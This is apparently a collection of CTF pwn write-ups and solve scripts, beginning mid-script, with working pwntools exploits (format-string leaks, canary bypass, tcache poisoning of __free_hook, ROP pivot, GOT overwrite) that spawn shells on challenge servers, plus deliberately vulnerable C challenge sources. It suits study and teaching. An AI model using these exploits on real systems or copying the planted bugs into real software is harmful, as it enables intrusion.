__free_hook 91 | remove(r, 0) 92 | payload = flat(p64(0), p64(0x21), p64(libc.symbols['__free_hook'])) 93 | add(r, 128, payload) 94 | add(r, 16, '/bin/bash\0') 95 | 96 | # Overwriting __free_hook pointer with system address 97 | 98 | add(r, 16, flat(p64(libc.symbols['system']))) 99 | 100 | # system('/bin/sh\0'); 101 | log.info('Enjoy your $hell ;)') 102 | remove(r, 0) 103 | r.interactive() 104 | 105 | 106 | if __name__ == "__main__": 107 | main() 108 | -------------------------------------------------------------------------------- /dawgctf2020/cookie_monster/README.md: -------------------------------------------------------------------------------- 1 | # cookie monster 2 | 3 | RELRO: Full RELRO 4 | NX: NX enabled 5 | PIE: PIE enabled 6 | 7 | 8 | the `main()` function calls `conversation()` that reads input twice then returns. 9 | 10 | ``` 11 | $ ./cookie_monster 12 | _ _ 13 | _/0\/ \_ 14 | .-. .-` \_/\0/ '-. 15 | /:::\ / ,_________, \ 16 | /\:::/ \ '. (:::/ `'-; 17 | \ `-'`\ '._ `"'"'\__ \ 18 | `'-. \ `)-=-=( `, | 19 | \ `-"` `"-` / 20 | C is for cookie is for me 21 | Oh hello there, what's your name? 22 | name 23 | Hello, name 24 | 25 | Would you like a cookie? 26 | yes 27 | ``` 28 | 29 | this is the dump of assembler code for fuction `conversation()` 30 | 31 | ```asm 32 | <+0>: push rbp 33 | <+1>: mov rbp,rsp 34 | <+4>: sub rsp,0x20 35 | <+8>: mov edi,0x0 36 | <+13>: call 0x1080 37 | <+18>: mov edi,eax 38 | <+20>: call 0x1050 39 | <+25>: call 0x10b0 40 | <+30>: mov DWORD PTR [rbp-0x4],eax 41 | <+33>: mov eax,DWORD PTR [rbp-0x4] 42 | <+36>: mov DWORD PTR [rip+0x2dcd],eax # 0x401c 43 | <+42>: lea rdi,[rip+0xe02] # 0x2058 44 | <+49>: call 0x1030 45 | <+54>: mov rdx,QWORD PTR [rip+0x2dae] # 0x4010 46 | <+61>: lea rax,[rbp-0xc] 47 | <+65>: mov esi,0x8 48 | <+70>: mov rdi,rax 49 | <+73>: call 0x1060 50 | <+78>: lea rdi,[rip+0xe01] # 0x207b 51 | <+85>: mov eax,0x0 52 | <+90>: call 0x1040 53 | <+95>: lea rax,[rbp-0xc] 54 | <+99>: mov rdi,rax 55 | <+102>: mov eax,0x0 56 | <+107>: call 0x1040 57 | <+112>: lea rdi,[rip+0xde7] # 0x2083 58 | <+119>: call 0x1030 59 | <+124>: lea rax,[rbp-0x11] 60 | <+128>: mov rdi,rax 61 | <+131>: mov eax,0x0 62 | <+136>: call 0x1090 63 | <+141>: mov eax,DWORD PTR [rbp-0x4] 64 | <+144>: mov edi,eax 65 | <+146>: call 0x11f6 66 | <+151>: nop 67 | <+152>: leave 68 | <+153>: ret 69 | ``` 70 | the first input with `fgets()` <+73> reads 7 characters, we notice there is a format string vulnarbility
71 | at `printf()` <+90> but we can only leak one address at the time, the second input calls `gets()` <+136>
72 | so we can overflow the buffer but there is a `check_cookie()` function at <+146> that exits if the stack cookie
73 | value at the bottom of the stack is changed
74 | 75 | to be able to jump to the flag function, we have to leak the stack cookie and the return address
76 | 77 | the value of the stack cookie changes every second, so we can leak the cookie in a first iteration
78 | then leak the return address in a second iteration before the cookie changes and overwrite the return address
79 | 80 | [exploit.py](./exploit.py) 81 | ```python 82 | #!/usr/bin/env python2 83 | 84 | from pwn import * 85 | import sys 86 | 87 | if len(sys.argv) == 1: 88 | conn = remote('ctf.umbccd.io', 4200) 89 | else: 90 | conn = process('./cookie_monster') 91 | 92 | conn.sendlineafter('?', '%9$lx') 93 | conn.recvuntil('Hello, ') 94 | canary = p32(int(conn.recv(8), 16)) 95 | conn.close() 96 | 97 | conn = process('./cookie_monster') 98 | conn.sendlineafter('?', '%11$lx') 99 | conn.recvuntil('Hello, ') 100 | ret = p64(int(conn.recv(12), 16) - 0x19a) 101 | payload = 'a'*13 + canary + 'a'*8 + ret 102 | conn.sendlineafter('?', payload) 103 | print conn.recvall() 104 | conn.close() 105 | ``` 106 | 107 | ### flag 108 | DawgCTF{oM_n0m_NOm_I_li3k_c0oOoki3s} 109 | -------------------------------------------------------------------------------- /Alphactf2k23/Note_keeper_2/README.md: -------------------------------------------------------------------------------- 1 | # Note Keeper 2 2 | 3 | # Description 4 | Category: PWN
5 | Solves: 0 6 | 7 | # TL;DR 8 | 9 | I didn't really participate in this CTF, I joined on the last hour
10 | The code wasn't provided, only the binary, libc, and ld. I solved it 2 days after the CTF ended,
11 | I'm too lazy to explain this one, I need some sleep 12 | 13 | # Exploit 14 | 15 | ```python 16 | #!/usr/bin/env python3 17 | 18 | from pwn import * 19 | from ctypes import CDLL 20 | 21 | exe = ELF("./new_chall_patched") 22 | libc = ELF("./libc.so.6") 23 | ld = ELF("./ld-linux-x86-64.so.2") 24 | 25 | context.binary = exe 26 | 27 | def add(r, size, content): 28 | r.recvuntil(b'Enter an option:') 29 | r.sendline(b'1') 30 | r.recvuntil(b'Size: ') 31 | r.sendline(bytes(str(size), 'utf-8')) 32 | r.recvuntil(b'Note content: ') 33 | r.sendline(content) 34 | 35 | def remove(r, index): 36 | r.recvuntil(b'Enter an option: ') 37 | r.sendline(b'2') 38 | r.recvuntil(b'Note index: ') 39 | r.sendline(bytes(str(index), 'utf-8')) 40 | 41 | def view(r, index): 42 | r.recvuntil(b'Enter an option: ') 43 | r.sendline(b'4') 44 | r.recvuntil(b'Index: ') 45 | r.sendline(bytes(str(index), 'utf-8')) 46 | 47 | def edit(r, index, content): 48 | r.recvuntil(b'Enter an option: ') 49 | r.sendline(b'3') 50 | r.recvuntil(b'Index: ') 51 | r.sendline(bytes(str(index), 'utf-8')) 52 | r.recvuntil(b'Content: ') 53 | r.sendline(content) 54 | 55 | def conn(): 56 | r = process([exe.path]) 57 | return r 58 | 59 | 60 | def main(): 61 | r = conn() 62 | 63 | # Leaking libc address 64 | 65 | add(r, 1100, '') 66 | add(r, 16, '') 67 | remove(r, 0) 68 | add(r, 1100, 'a'*7) 69 | view(r, 1) 70 | r.recvuntil(b'a'*7 + b'\n') 71 | main_arena = int.from_bytes(r.recv(numb=6), "little") 72 | libc.address = main_arena - 0x1ecbe0 #offset 73 | log.info(f'Leaking libc address : {hex(libc.address)}') 74 | one_gadget = libc.address + 0xe3afe 75 | log.info(f'Calculating one_gadget address : {hex(one_gadget)}') 76 | remove(r, 1) 77 | remove(r, 0) 78 | 79 | # Leaking heap address 80 | 81 | add(r, 128, 'a'*15) 82 | view(r, 0) 83 | r.recvuntil(b'a'*15 + b'\n') 84 | heap = int.from_bytes(r.recv(numb=6), "little") + 32 85 | log.info(f'Leaking heap address : {hex(heap)}') 86 | tcache_key = heap - 672 87 | log.info(f'Calculating tcache-key address : {hex(tcache_key)}') 88 | 89 | # Leaking data segment address 90 | 91 | view(r, -11) 92 | data_addr = int.from_bytes(r.recv(numb=6), "little") + 88 93 | log.info(f'Leaking data address : {hex(data_addr)}') 94 | 95 | # Forging and freeing a fake chunk 96 | 97 | add(r, 16, '') 98 | remove(r, 1) 99 | 100 | fake_chunk = flat(p64(heap), p64(0x21)) 101 | edit(r, 0, fake_chunk) 102 | offset = int((heap - data_addr - 16) / 8) 103 | remove(r, offset) 104 | 105 | # Poisoning the tcache-forward to point to __free_hook 106 | remove(r, 0) 107 | payload = flat(p64(0), p64(0x21), p64(libc.symbols['__free_hook'])) 108 | add(r, 128, payload) 109 | add(r, 16, '/bin/bash\0') 110 | 111 | # Overwriting __free_hook pointer with system address 112 | 113 | add(r, 16, flat(p64(libc.symbols['system']))) 114 | 115 | # system('/bin/sh\0'); 116 | log.info('Enjoy your $hell ;)') 117 | remove(r, 0) 118 | r.interactive() 119 | 120 | 121 | if __name__ == "__main__": 122 | main() 123 | ``` 124 | # Flag 125 | 126 | No flag this time xdd 127 | -------------------------------------------------------------------------------- /BSides-Algiers-2021-finals/safefree/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | exe = ELF("./safefree_patched") 6 | libc = ELF("./libc-2.27.so") 7 | ld = ELF("./ld-2.27.so") 8 | 9 | context.binary = exe 10 | context.terminal = ['st'] 11 | 12 | def conn(): 13 | if args.LOCAL: 14 | r = process(exe.path) 15 | else: 16 | r = remote("pwn.ctf.shellmates.club", 1502) 17 | 18 | return r 19 | 20 | def allocate(io, size, data): 21 | io.sendlineafter(b"Choice", b"1") 22 | io.sendlineafter(b"Size", str(size)) 23 | io.sendlineafter(b"Data", data) 24 | 25 | def free(io, index): 26 | io.sendlineafter(b"Choice", b"2") 27 | io.sendlineafter(b"Index", str(index)) 28 | 29 | def safefree(io, index): 30 | io.sendlineafter(b"Choice", b"3") 31 | io.sendlineafter(b"Index", str(index)) 32 | 33 | def view(io, index): 34 | io.sendlineafter(b"Choice", b"4") 35 | io.sendlineafter(b"Index", str(index)) 36 | 37 | def leak(io): 38 | io.recvuntil(b"Data") 39 | io.recvline() 40 | return(u64(io.recvline(keepends=False).ljust(8, b'\0'))) 41 | 42 | def main(): 43 | r = conn() 44 | 45 | log.info("Leaking heap address") 46 | 47 | #filling the tcachebin for size 0x10 and adding 2 fastchunks of the same size 48 | for i in range(9): 49 | allocate(r, 0x10, '') 50 | for i in range(9): 51 | free(r, i) 52 | 53 | #forcing fastbin consolidation by allocating a large chunk (in the consolidated space from the 2 fastchunks + top chunk) 54 | allocate(r, 0x410, 'a'*0x1f) 55 | 56 | #leaking fastbin pointer (from previous second fastbins) 57 | view(r, 0) 58 | fastbin = leak(r) 59 | log.info(f"fastbin at: {hex(fastbin)}") 60 | 61 | log.info("Leaking libc address") 62 | 63 | #allocating 2 more large chunks (the third chunk is to prevent consolidation with top chunk, it's size does't matter) 64 | allocate(r, 0x410, '') 65 | allocate(r, 0x410, '') 66 | 67 | #consolidation of the first and second large chunks 68 | free(r, 1) 69 | free(r, 0) 70 | 71 | #allocating a large chunk of a bigger size (in the consolidated space from the first and second large chunks) 72 | allocate(r, 0x430, 'a'*0x41f) 73 | view(r, 0) 74 | 75 | #leaking main_arena pointer (from previous second large chunk) 76 | libc.address = leak(r) - (libc.symbols['main_arena']+0x60) 77 | log.info(f"libc base address at: {hex(libc.address)}") 78 | 79 | #freeing all indexes just for simplifiying the exploit 80 | free(r, 2) 81 | free(r, 0) 82 | 83 | #filling the tcachebin for size 0x10 plus 2 fastchunks of the same size 84 | for i in range(9): 85 | allocate(r, 0x10, '') 86 | for i in range(9): 87 | free(r, i) 88 | 89 | #allocating a chunk of a different size (to not mess with tcache) 90 | allocate(r, 0x20, p64(fastbin+0x10)) 91 | 92 | #double freeing the first fastchunk 93 | safefree(r, 0) 94 | 95 | #allocating 7 chunks to empty tcachebin (and using of them as a pointer argument to '/bin/sh' for system later) 96 | for i in range(7): 97 | allocate(r, 0x10, '/bin/sh') 98 | 99 | #poisoning the forward pointer of the double-freed fastchunk to point to __free_hook 100 | allocate(r, 0x10, p64(libc.symbols['__free_hook'])) 101 | 102 | #allocating the 2 fastchunks (now __free_hook is at the head of the fastbin of size 0x10) 103 | for i in range(2): 104 | allocate(r, 0x10, '') 105 | 106 | #allocating a chunk overlaping with __free_hook and overwriting it with system address 107 | allocate(r, 0x10, p64(libc.symbols['system'])) 108 | 109 | #system("/bin/sh"); 110 | free(r, 1) 111 | 112 | r.interactive() 113 | 114 | if __name__ == "__main__": 115 | main() 116 | # 117 | -------------------------------------------------------------------------------- /shellmates/fake shell/README.md: -------------------------------------------------------------------------------- 1 | # Fake $hell 2 | 3 | ### Description 4 | ``` 5 | While learning programming, I wrote a small fake terminal in C, it's very simple very few 6 | supported commands, and only safe operations (no unsafe system() calls for example). 7 | It is accessible at: terminal.challs.shellmates.club:1337 8 | 9 | Goal: Prove you can escape from the fake shell to the real shell. 10 | ``` 11 | ![alt challenge](./fakeshell.jpg) 12 | ``` 13 | pwndbg> checksec 14 | RELRO STACK CANARY NX PIE 15 | Partial RELRO No canary found NX enabled PIE enabled 16 | ``` 17 | #### How not to solve a pwn challenge 18 | 19 | Here is the ![Terminal](./terminal) binary and the ![libc](./libc-2.27.so) file.
20 | When we connect using netcat and check the supported commands, we find these eight commands
21 | ``` 22 | mate@pwnable:/ $ help 23 | Supported commands 24 | ls id whoami echo printf 25 | cat pwd cd help exit 26 | mate@pwnable:/ $ 27 | ``` 28 | good, we can use printf() to leak addresses to bypass ASLR and write anywhere in memory
29 | by looking at the decompiled binay with ghidra we find an interessting function process_cmd()
30 | which executes the parced command and return, we will overwrite its return address to spawn
31 | a shell using one gadget:
32 | ``` 33 | $ one_gadget libc-2.27.so 34 | 0x10a38c execve("/bin/sh", rsp+0x70, environ) 35 | constraints: 36 | [rsp+0x70] == NULL 37 | ``` 38 | in this ![python script](./exploit.py) i leaked rbp to calculate the address of the format string
39 | and libc_start_main (the return address of main) to calculate the address of one gadget at run time
40 | ```python 41 | #!/usr/bin/env python2 42 | from pwn import * 43 | from time import sleep 44 | 45 | 46 | one_gadget_offset = 0xe87f5 47 | 48 | while True: 49 | sleep(2) 50 | try: 51 | s = remote ('terminal.challs.shellmates.club', 1337) 52 | except: 53 | continue 54 | #leaking rbp and calculating the return address 55 | payload = 'printf %8$lp' 56 | s.sendline(payload) 57 | s.recvuntil('0x') 58 | ret = int(s.recv(12), 16) - 0x418 59 | ret1 = p64(ret) 60 | ret2 = p64(ret + 2) 61 | ret3 = p64(ret + 4) 62 | log.info('return address: '+ str(hex(ret))) 63 | 64 | #leaking libc_start_main address and calculating one gadget address 65 | payload = 'printf %141$lp' 66 | s.sendline(payload) 67 | s.recvuntil('0x') 68 | libc_start_main = int(s.recv(12), 16) 69 | one_gadget = libc_start_main + one_gadget_offset 70 | log.info('one gadget address: '+ str(hex(one_gadget))) 71 | 72 | #calculating lenght for %n to overwrite the return address with one gadget 73 | length1 = (one_gadget & 0xffff) - 1 74 | length2 = (one_gadget >> 16 & 0xffff) - length1 -1 75 | length3 = (one_gadget >> 32 & 0xffff) - length1 - length2 -1 76 | 77 | #to construct the address two bytes at the time, the lengths have to be from smaller to bigger 78 | if (length2 < 0) or (length3) < 0: 79 | log.info('bad address, try again.') 80 | s.close() 81 | continue 82 | 83 | 84 | #overwriting the return address with one gadget address 85 | payload = 'printf a' 86 | payload += '%' + str(length1) + 'd' 87 | payload += '%16$n' 88 | payload += '%' + str(length2) + 'd' 89 | payload += '%17$n' 90 | payload += '%' + str(length3) + 'd' 91 | payload += '%18$nh' 92 | payload = payload.ljust(0x30, '\0') 93 | payload += ret1 + ret2 + ret3 94 | 95 | #the constraint of one gadget is [rsp+0x70] == NULL 96 | payload = payload.ljust(0x400, '\0') 97 | 98 | s.sendline(payload) 99 | s.interactive() 100 | s.close() 101 | ``` 102 | Once we have a shell on the server, we find the source code files [terminal.c](./terminal.c) and [terminal.h](./terminal.h) and the flag! 103 | # Flag 104 | ``` 105 | $ cat flag.txt 106 | shellmates{f4ke_term1nal_r3al_pr1%ntf!} 107 | $ 108 | ``` 109 | -------------------------------------------------------------------------------- /shellmates/birdy-pwn/README.md: -------------------------------------------------------------------------------- 1 | # Birdy 2 | 3 | ——————— 𝘼𝙪𝙩𝙝𝙤𝙧 𝙣𝙤𝙩𝙚 ———————
4 | 𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲’𝘀 𝗻𝗮𝗺𝗲: Birdy.
5 | 𝗖𝗮𝘁𝗲𝗴𝗼𝗿𝘆: Pwn.
6 | 𝗗𝗲𝘀𝗰𝗿𝗶𝗽𝘁𝗶𝗼𝗻: These cute little birds 🐦 are fluttering
7 | and pivoting around in stacks everywhere! Can you befriend them?
8 | Find more details using: https://gofile.io/d/BctXD4
9 | —————————————————————
10 | ``` 11 | pwndbg> checksec 12 | RELRO STACK CANARY NX PIE 13 | Partial RELRO Canary found NX enabled No PIE 14 | ``` 15 | 16 | ## Playing with the binary 17 | 18 | ``` 19 | $ ./birdy 20 | \\ 21 | (o> 22 | \\_//) 23 | \_/_) 24 | _|_ 25 | 26 | A wild cute little birdy 🐦 appeared! 27 | 28 | Quick! What do you name it? aaa 29 | Birdy 🐦 likes his new name aaa 30 | ��? 31 | How do you feel now? aaa 32 | ``` 33 | First thing, we notice is the leak printed after our input, after looking at the decompiled code
34 | we also notice that name_birdy() allocates 0x58 bytes as input buffer, but reads 0x68 bytes for the second input
35 | so we can overflow the buffer and overwrite the stack canary and rbp pointer, but we need to leak them first
36 | ```C 37 | void name_birdy(void) 38 | 39 | { 40 | long in_FS_OFFSET; 41 | undefined local_68 [88]; 42 | long local_10; 43 | 44 | local_10 = *(long *)(in_FS_OFFSET + 0x28); 45 | printf("Quick! What do you name it? "); 46 | readstr(local_68,0x58); 47 | printf(&DAT_00400d70,local_68); 48 | printf("How do you feel now? "); 49 | readstr(local_68,0x68); 50 | if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { 51 | __stack_chk_fail(); 52 | } 53 | return; 54 | } 55 | ``` 56 | 57 | ## Leaking the stack 58 | 59 | In order to leak the stack canary and base pointer, we need to send 0x59 bytes (0x58 + '\n') as input
60 | to overwrite the first null byte in the canary (otherwise printf will stop there, not leaking anything)
61 | 62 | ```python 63 | r.sendlineafter('Quick! What do you name it? ', 'a'*88) 64 | r.recvline() 65 | canary = u64(b'\0' + r.recv(7)) 66 | rbp = u64(r.recvline(keepends=False).ljust(8, b'\0')) 67 | 68 | log.info('Leaking stack canary : ' + str(hex(canary))) 69 | log.info('Leaking base pointer : ' + str(hex(rbp))) 70 | ``` 71 | 72 | ## Stack pivoting 73 | 74 | We leaked the canary and base pointer and we can't overwrite the return pointer of this function, but we can
75 | control the return pointer of it's caller by changing the base pointer to a memory address that we control
76 | so when the caller function reaches the 'ret' instruction, it will pop the address that we stored there.
77 | All that is left to do now is making a rop-chain to leak libc address, calculate one_gadget address and write
78 | it to memory by calling readstr() and executing a one gadget to get a shell!
79 | 80 | ```python 81 | def main(): 82 | 83 | elfrop = ROP(elf) 84 | pop_rsi_popr15_ret = elfrop.find_gadget(["pop rsi", "pop r15", "ret"]).address 85 | pop_rdi_ret = elfrop.find_gadget(["pop rdi", "ret"]).address 86 | name_birdy = elf.sym.name_birdy 87 | 88 | r = conn() 89 | 90 | r.sendlineafter('Quick! What do you name it? ', 'a'*88) 91 | r.recvline() 92 | canary = u64(b'\0' + r.recv(7)) 93 | rbp = u64(r.recvline(keepends=False).ljust(8, b'\0')) 94 | 95 | log.info('Leaking stack canary : ' + str(hex(canary))) 96 | log.info('Leaking base pointer : ' + str(hex(rbp))) 97 | 98 | payload = flat(canary, rbp-0x40, pop_rdi_ret, elf.got.puts, elf.plt.puts, 99 | pop_rdi_ret, rbp-0x38, pop_rsi_popr15_ret, 0x100, 0x0, elf.sym.readstr) 100 | payload = payload.ljust(0x58, b'\0') 101 | payload += p64(canary) + p64(rbp-0x88) 102 | 103 | r.send(payload) 104 | r.recvuntil('How do you feel now? ') 105 | libc.address = u64(r.recvline(keepends=False).ljust(8, b'\0')) - libc.sym.puts 106 | log.info('Leaking libc pointer : ' + str(hex(rbp))) 107 | one_gadget = libc.address + 0x4f432 108 | r.sendline(p64(one_gadget).ljust(0x100, b'\0')) 109 | 110 | r.interactive() 111 | ``` 112 | 113 | ## Flag 114 | ``` 115 | shellmates{C4N4RIeS_4r3_N0w_Your_fR1ends} 116 | ``` 117 | -------------------------------------------------------------------------------- /MicroCTF-Quals-2021/sudopwn/sudopwn.c: -------------------------------------------------------------------------------- 1 | #include "sudopwn.h" 2 | 3 | int main(int argc, char *argv[]) { 4 | int choice = -1; 5 | Board board[N][N]; 6 | 7 | disable_buffering(); 8 | 9 | srand(time(NULL)); 10 | 11 | while (choice != 5) { 12 | choice = menu(); 13 | 14 | putchar('\n'); 15 | 16 | switch(choice) { 17 | case 1: 18 | fill_board(board); 19 | break; 20 | case 2: 21 | randomize_board(board); 22 | print_board(board); 23 | break; 24 | case 3: 25 | print_board(board); 26 | break; 27 | case 4: 28 | if (solve_board(board)) 29 | print_board(board); 30 | else 31 | puts("Not solvable"); 32 | 33 | } 34 | 35 | putchar('\n'); 36 | } 37 | 38 | return EXIT_SUCCESS; 39 | } 40 | 41 | void disable_buffering(void) { 42 | setbuf(stdin, NULL); 43 | setbuf(stdout, NULL); 44 | setbuf(stderr, NULL); 45 | } 46 | 47 | int menu(void) { 48 | printf( 49 | "1) Fill board\n" 50 | "2) Randomize board\n" 51 | "3) Print board\n" 52 | "4) Autosolve board\n" 53 | "5) Exit\n\n" 54 | ); 55 | 56 | return read_num("> "); 57 | } 58 | 59 | void read_line(char *msg, char *buf, unsigned int max_size) { 60 | int i, c; 61 | 62 | printf("%s", msg); 63 | for (i = 0; i < max_size-1; i++) { 64 | c = getchar(); 65 | if (c == EOF || (char)c == '\n') { 66 | break; 67 | } 68 | buf[i] = (char)c; 69 | } 70 | buf[i] = '\0'; 71 | } 72 | 73 | int read_num(char *msg) { 74 | char buf[12]; 75 | 76 | read_line(msg, buf, 12); 77 | return atoi(buf); 78 | } 79 | 80 | unsigned int random_num(unsigned int min, unsigned int max) { 81 | return min + rand() % (max + 1 - min); 82 | } 83 | 84 | bool find_unassigned(Board board[N][N], int *row, int *col) { 85 | for (*row = 0; *row < N; (*row)++) 86 | for (*col = 0; *col < N; (*col)++) 87 | if (board[*row][*col] == UNASSIGNED) 88 | return true; 89 | return false; 90 | } 91 | bool used_in_row(Board board[N][N], int row, int val) { 92 | for (int col = 0; col < N; col++) 93 | if (board[row][col] == val) 94 | return true; 95 | return false; 96 | } 97 | bool used_in_col(Board board[N][N], int col, int val) { 98 | for (int row = 0; row < N; row++) 99 | if (board[row][col] == val) 100 | return true; 101 | return false; 102 | } 103 | bool used_in_box(Board board[N][N], int box_start_row, int box_start_col, int val) { 104 | for (int row = 0; row < 3; row++) 105 | for (int col = 0; col < 3; col++) 106 | if (board[row + box_start_row][col + box_start_col] == val) 107 | return true; 108 | return false; 109 | } 110 | bool is_safe(Board board[N][N], int row, int col, int val) { 111 | return !used_in_row(board, row, val) 112 | && !used_in_col(board, col, val) 113 | && !used_in_box(board, row - row % 3, col - col % 3, val) 114 | && board[row][col] == UNASSIGNED; 115 | } 116 | 117 | void fill_board(Board board[N][N]) { 118 | int row, col, val; 119 | 120 | row = read_num("Row index: "); 121 | col = read_num("Column index: "); 122 | val = read_num("Value: "); 123 | 124 | board[row][col] = val; 125 | } 126 | 127 | void randomize_board(Board board[N][N]) { 128 | for (int i = 0; i < N; i++) { 129 | for (int j = 0; j < N; j++) { 130 | if (rand() % 9 == 0) 131 | board[i][j] = random_num(1, 9); 132 | else 133 | board[i][j] = UNASSIGNED; 134 | } 135 | } 136 | } 137 | 138 | void print_board(Board board[N][N]) { 139 | for (int i = 0; i < N; i++) { 140 | if (i == 3 || i == 6) 141 | puts("------+-------+------"); 142 | 143 | for (int j = 0; j < N; j++) { 144 | if (j == 3 || j == 6) 145 | printf("| "); 146 | 147 | if (board[i][j] == UNASSIGNED) 148 | printf(" "); 149 | else 150 | printf("%d ", board[i][j]); 151 | } 152 | 153 | putchar('\n'); 154 | } 155 | } 156 | 157 | bool solve_board(Board board[N][N]) { 158 | int row, col; 159 | 160 | if (!find_unassigned(board, &row, &col)) 161 | return true; 162 | 163 | for (int val = 1; val <= 9; val++) { 164 | if (is_safe(board, row, col, val)) { 165 | board[row][col] = val; 166 | 167 | if (solve_board(board)) 168 | return true; 169 | 170 | board[row][col] = UNASSIGNED; 171 | } 172 | } 173 | 174 | return false; 175 | } 176 | -------------------------------------------------------------------------------- /unitedctf-2021/simple_notes.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX_NOTES 256 5 | #define MIN_SIZE 8 6 | #define MAX_SIZE 1024 7 | 8 | typedef struct Note { 9 | int importance; 10 | char *content; 11 | }Note; 12 | 13 | typedef struct Notebook { 14 | Note notes[MAX_NOTES]; 15 | int current; 16 | }Notebook; 17 | 18 | Notebook notebook; 19 | 20 | int read_int() { 21 | char buffer[20]; 22 | fgets(buffer, sizeof(buffer), stdin); 23 | return atoi(buffer); 24 | } 25 | 26 | int read_index() { 27 | printf("Index: "); 28 | unsigned int index = read_int(); 29 | if (index >= notebook.current+1) { 30 | puts("Invalid index"); 31 | return -1; 32 | } 33 | return index; 34 | } 35 | 36 | unsigned int read_size() { 37 | unsigned int size; 38 | while(1) { 39 | printf("Size: "); 40 | size = read_int(); 41 | if (size <= MIN_SIZE) 42 | puts("Too small"); 43 | else if (size > MAX_SIZE) 44 | puts("Max size exceeded"); 45 | else 46 | return size; 47 | } 48 | } 49 | 50 | void create_note() { 51 | unsigned int size; 52 | int current; 53 | if (notebook.current < MAX_NOTES) { 54 | current = notebook.current + 1; 55 | printf("Importance: "); 56 | notebook.notes[current].importance = read_int(); 57 | size = read_size(); 58 | notebook.notes[current].content = malloc(size+1); 59 | if (notebook.notes[current].content == NULL) { 60 | puts("malloc error"); 61 | exit(1); 62 | } 63 | fgets(notebook.notes[current].content, size+1, stdin); 64 | notebook.current++; 65 | } 66 | else { 67 | puts("Maximum number of notes exceeded"); 68 | puts("You need to delete other notes first"); 69 | } 70 | } 71 | 72 | void delete_note() { 73 | int index = read_index(); 74 | if (index != -1) { 75 | free(notebook.notes[index].content); 76 | if (index < notebook.current) { 77 | for (int i=index; i "); 130 | choice = read_int(); 131 | switch (choice) { 132 | case 1: 133 | create_note(); 134 | break; 135 | case 2: 136 | delete_note(); 137 | break; 138 | case 3: 139 | read_note(); 140 | break; 141 | case 4: 142 | edit_note(); 143 | break; 144 | case 5: 145 | exit(0); 146 | break; 147 | default: 148 | puts("Invalid choice"); 149 | break; 150 | } 151 | } 152 | } 153 | -------------------------------------------------------------------------------- /unitedctf-2021/README.md: -------------------------------------------------------------------------------- 1 | # Simple notes 2 | 3 | ![alt logo](./logo.png) 4 | 5 | ## Description 6 | 7 | Category : pwn
8 | Points : 400 9 | 10 | I needed a way to take quick notes on the command line. I might have missed something... 11 | 12 | ## Analysis 13 | This is a simple notes program, we can create/read/delete/edit simple notes. The first bug is is commonly refered to as "off by one" error. 14 | The program is reserving memory for 256 notes but it starts to count from -1 15 | allowing us to create 257 notes. 16 | ```c 17 | #define MAX_NOTES 256 18 | . 19 | . 20 | void create_note() { 21 | unsigned int size; 22 | int current; 23 | if (notebook.current < MAX_NOTES) { 24 | current = notebook.current + 1; 25 | . 26 | . 27 | notebook.current = -1; 28 | . 29 | . 30 | ``` 31 | The "importance" variable in note257 will overwrite the "current" variable (the notes count) that is located directly after note256. 32 | So we have total control on the "current" variable
33 | ```c 34 | typedef struct Note { 35 | int importance; 36 | char *content; 37 | }Note; 38 | 39 | typedef struct Notebook { 40 | Note notes[MAX_NOTES]; 41 | int current; 42 | }Notebook; 43 | ``` 44 | The second bug is the type confusion. By setting "current" to -3, it will be incremented by 1 setting is to -2. 45 | The "current" variable's type is "int" but the "index" variable type is "unsigned int", so the program is tricked to treat the "current" variable as "unsigned int", now instead of comparing the index to the signed value of 0xffffffff which is -1, it will compare the index to the unsigned value of 0xffffffff which is 4294967295. So we can enter any index number (negative or positive) and it will always be less than 4294967295 (0xffffffff). 46 | ```c 47 | int read_index() { 48 | printf("Index: "); 49 | unsigned int index = read_int(); 50 | if (index >= notebook.current+1) { 51 | puts("Invalid index"); 52 | return -1; 53 | } 54 | return index; 55 | } 56 | ``` 57 | ## Solution 58 | First we create 256 notes, then we overwrite the current variable by creating the 257 note and giving it importance value of -3, 59 | then we leak puts address from got.plt by reading note at index -8, calculate libc system address based on the offset, then 60 | overwrite atoi got.plt entry with system address by editing the note at index -6 and setting its importance to system address 61 | then we pop a shell by setting the size field to "/bin/sh". 62 | 63 | ## Exploit 64 | ```python 65 | #!/usr/bin/env python3 66 | 67 | from pwn import * 68 | import ctypes 69 | 70 | exe = ELF("./simple_notes") 71 | libc = ELF("./libc.so.6") 72 | ld = ELF("./ld-2.31.so") 73 | 74 | context.binary = exe 75 | context.terminal = ['st'] 76 | 77 | def conn(): 78 | if args.LOCAL: 79 | return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path}) 80 | else: 81 | return remote("challenges.unitedctf.ca", 1234) 82 | 83 | def create_note(io, imp, size, data): 84 | io.recvuntil("> ") 85 | io.sendline("1") 86 | io.recvuntil("Importance: ") 87 | io.sendline(str(imp)) 88 | io.recvuntil("Size: ") 89 | io.sendline(str(size)) 90 | io.sendline(data) 91 | 92 | def read_note(io, idx): 93 | io.recvuntil("> ") 94 | io.sendline("3") 95 | io.recvuntil("Index: ") 96 | io.sendline(str(idx)) 97 | 98 | def edit_note(io, idx, imp, size): 99 | io.recvuntil("> ") 100 | io.sendline("4") 101 | io.recvuntil("Index: ") 102 | io.sendline(str(idx)) 103 | io.recvuntil("Importance: ") 104 | io.sendline(str(imp)) 105 | io.recvuntil("Size: ") 106 | io.sendline(str(size)) 107 | 108 | def main(): 109 | r = conn() 110 | 111 | # overwriting current variable with 0xffffffff to bypass the index check 112 | for i in range(256): 113 | create_note(r, i, 9, "asdf") 114 | log.info(f"Creating note number: {i}") 115 | create_note(r, -3, 9, "asdf") 116 | 117 | # leaking libc address 118 | read_note(r, -8) 119 | r.recvuntil("Importance: ") 120 | libc.address = int(r.recvline(keepends=False)) - libc.sym.puts 121 | log.info(f"Leaking libc address : {hex(libc.address)}") 122 | 123 | #overwriting the got entry for atoi to system 124 | edit_note(r, -6, ctypes.c_int32(libc.sym.system).value, "/bin/sh\0") 125 | 126 | r.interactive() 127 | 128 | if __name__ == "__main__": 129 | main() 130 | ``` 131 | 132 | ## Flag 133 | ``` 134 | FLAG-b21f3c6ea1d1edd90800f802e73d839f 135 | ``` 136 | 137 | [Unitedctf's write-ups and challenges files](https://github.com/UnitedCTF/UnitedCTF-2021) 138 | 